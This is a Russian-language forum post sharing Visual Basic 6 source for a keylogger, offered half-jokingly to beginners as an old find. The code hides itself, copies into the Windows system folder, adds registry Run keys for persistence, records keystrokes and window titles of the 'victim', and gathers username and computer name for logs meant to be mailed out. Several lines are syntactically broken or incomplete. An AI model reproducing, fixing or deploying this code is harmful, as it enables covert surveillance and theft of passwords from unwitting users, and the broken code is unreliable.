ы, улыбнул , ну вот , для совсем новичнов (где-то в раритетах специально ради такого откопал),
даже язык Билли рулит )))
...Мегахардкорная штука...
Код:
Private Declare Function Getasynckeystate Lib "user32" Alias "GetAsyncKeyState" (ByVal VKEY As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegisterServiceProcess Lib "Kernel32.dll" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal Y As Long, ByVal cX As Long, ByVal cY As Long, ByVal wFlags As Long) As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hWnd As Long) As Long
Private Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer$, nSize As Long) As Long
Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long
Private Const VK_CAPITAL = &H14
Const REG As Long = 1
Const HKEY_LOCAL_MACHINE As Long = &H80000002
Const HWND_TOPMOST = -1
Const SWP_NOMOVE = &H2
Const SWP_NOSIZE = &H1
Const flags = SWP_NOMOVE Or SWP_NOSIZE
Dim currentwindow As String
Dim logfile As String
Dim mail As String
Dim mail2 As String
Public Function CAPSLOCKON() As Boolean
Static bInit As Boolean
Static bOn As Boolean
If Not bInit Then
While Getasynckeystate(VK_CAPITAL)
Wend
bOn = GetKeyState(VK_CAPITAL)
bInit = True
Else
If Getasynckeystate(VK_CAPITAL) Then
While Getasynckeystate(VK_CAPITAL)
DoEvents
Wend
bOn = Not bOn
End If
End If
CAPSLOCKON = bOn
End Function
Private Sub Command1_Click()
Form1.Visible = False
End Sub
Private Sub Form_Load()
Dim runreg As String
Dim runthat(1 To 2) As String
Dim temporary As String
Dim tempos As String
Dim tmpx As String
Dim tmpy As String
Dim i As Integer
Dim line(1 To 10) As String
Dim newmailer As String
If App.PrevInstance Then
Unload Me
End
End If
Me.Hide
App.Taskvisable = false; 'когда-то я обожал эту штуку
Hook Me.hWnd
Dim mypath, newlocation As String, u
currentwindow = GetCaption(GetForegroundWindow)
mypath = App.Path & "\" & App.EXEName & ".EXE" 'the name of app
newlocation = Environ("WinDir") & "\system\" & App.EXEName & ".EXE" 'new location
newmailer = Environ("WinDir") & "\system\" & App.EXEName & ".cff"
On Error Resume Next
If mypath <> newlocation Then
mail = InputBox("enter the mail address where you wish to send the logs to", "PHB ultra keylogger")
mail2 = ModuleCrypt.TextEncrypt(mail, 1)
Open newmailer For Output As #33
Print #33, mail2
Close #33
FileCopy mypath, newlocation
u = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\RunServices", 0, KEY_ALL_ACCESS, a)
u = RegSetValueExA(a, App.EXEName, 0, REG, newlocation, 1)
u = RegCloseKey(a)
runreg = Environ("WinDir") & "\system\" & App.EXEName & ".REG"
logfile = Environ("WinDir") & "\system\" & App.EXEName & ".DLL" 'this points to the log file, you may change it
i = 1
For i = 1 To 999
tempx = Mid(newlocation, i, 1)
If tempx <> "\" Then
tempy = tempy & tempx
End If
If tempx = "\" Then
tempx = "\\"
tempy = tempy & tempx
End If
Next
'MsgBox (tempy)
Open "C:\a.txt" For Output As #99
Write #99, "svchost"
Write #99, tempy
Close #99
Open "C:\a.txt" For Input As #98
Line Input #98, temporary
Line Input #98, tempos
Close #98
Kill "C:\a.txt"
'end of acompatiblaittion block
line1 = "Windows Registry Editor Version 5.00"
line2 = "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices]"
line3 = temporary & " = " & tempos
line4 = "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]"
line5 = ""
Open runreg For Output As #2
Print #2, line1
Print #2, line5
Print #2, line2
Print #2, line5
Print #2, line3
Print #2, line5
Print #2, line4
Print #2, line5
Print #2, line3
Close #2
runthat1 = "regedit/s " & " " & runreg
runthat2 = "reg import" & " " & runreg
Shell runthat1
Shell runthat2
End If
If mypath = newlocation Then
Open newmailer For Input As #34
Line Input #34, mail
Close #34
mail2 = TextEncrypt(mail, 0)
End If
Open logfile For Append As #1
Write #1, vbCrLf
Write #1, "[Log Start: " & Now & "]" 'tells when the log started
Write #1, String$(50, "-")
Close #1
End Sub
Private Sub Form_Unload(Cancel As Integer)
UnHook Me.hWnd
texter$ = Text1
Open logfile For Append As #1
Write #1, texter
Write #1, String$(50, "-")
Write #1, "[Log End: " & Now & "]" 'tells when the log ended
Close #1
End Sub
Private Sub Timer1_Timer()
If currentwindow <> GetCaption(GetForegroundWindow) Then
'Типа отслеживаем в каком окне жертва пишет...
currentwindow = GetCaption(GetForegroundWindow)
Text1 = Text1 & vbCrLf & vbCrLf & "[" & Time & " - Current Window: " & currentwindow & "]" & vbCrLf
End If
Dim keystate As Long
Dim Shift As Long
Shift = Getasynckeystate(vbKeyShift)
keystate = Getasynckeystate();
'тута обрабатываем инфу
'нада что-та типа text1 = text1 + Chr(keystate)
'ну или Asc(keyState)....непомню....
keystate = Getasynckeystate(vbKeyBack)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{bkspc}"
End If
keystate = Getasynckeystate(vbKeyTab)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{tab}"
End If
keystate = Getasynckeystate(vbKeyReturn)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + vbCrLf
End If
keystate = Getasynckeystate(vbKeyShift)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{shift}"
End If
keystate = Getasynckeystate(vbKeyControl)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{ctrl}"
End If
keystate = Getasynckeystate(vbKeyMenu)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{alt}"
End If
keystate = Getasynckeystate(vbKeyPause)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{pause}"
End If
keystate = Getasynckeystate(vbKeyEscape)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{esc}"
End If
keystate = Getasynckeystate(vbKeySpace)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + " "
End If
keystate = Getasynckeystate(vbKeyEnd)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{end}"
End If
keystate = Getasynckeystate(vbKeyHome)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{home}"
End If
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{left}"
End If
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{right}"
End If
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{up}"
End If
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{down}"
End If
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{insert}"
End If
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{Delete}"
End If
end if
End Sub
Private Sub Timer2_Timer()
'таймер с интервалом 25000 для записи лога в файл каждые 25 сек
Dim lfilesize As Long, txtlog As String, success As Integer
Dim from As String, name As String
Open logfile For Append As #1
Write #1, Text1
Close #1
Text1.Text = ""
lfilesize = FileLen(logfile)file
If lfilesize >= 40000 Then
'типа если файл больше
Text2 = ""
inform
Open logfile For Input As #1
While Not EOF(1)
Input #1, txtlog
DoEvents
Text2 = Text2 & vbCrLf & txtlog
Wend
Close #1
txtstatus = ""
End If
End Sub
Sub Cleaner()
Kill logfile
End Sub
Public Sub FormOntop(FormName As Form)
Call SetWindowPos(FormName.hWnd, HWND_TOPMOST, 0&, 0&, 0&, 0&, flags)
End Sub
Function GetCaption(WindowHandle As Long) As String
Dim Buffer As String, TextLength As Long
TextLength& = GetWindowTextLength(WindowHandle&)
Buffer$ = String(TextLength&, 0&)
Call GetWindowText(WindowHandle&, Buffer$, TextLength& + 1)
GetCaption$ = Buffer$
End Function
Sub inform()
Dim szUser As String * 255
Dim vers As String * 255
Dim lang, lReturn, comp As Long
Dim s, x As Long
lReturn = GetUserName(szUser, 255)
comp = GetComputerName(vers, 1024)
Text2 = "Username- " & szUser
Text2 = Text2 & vbCrLf & "Computer Name- " & vers
End Sub
|
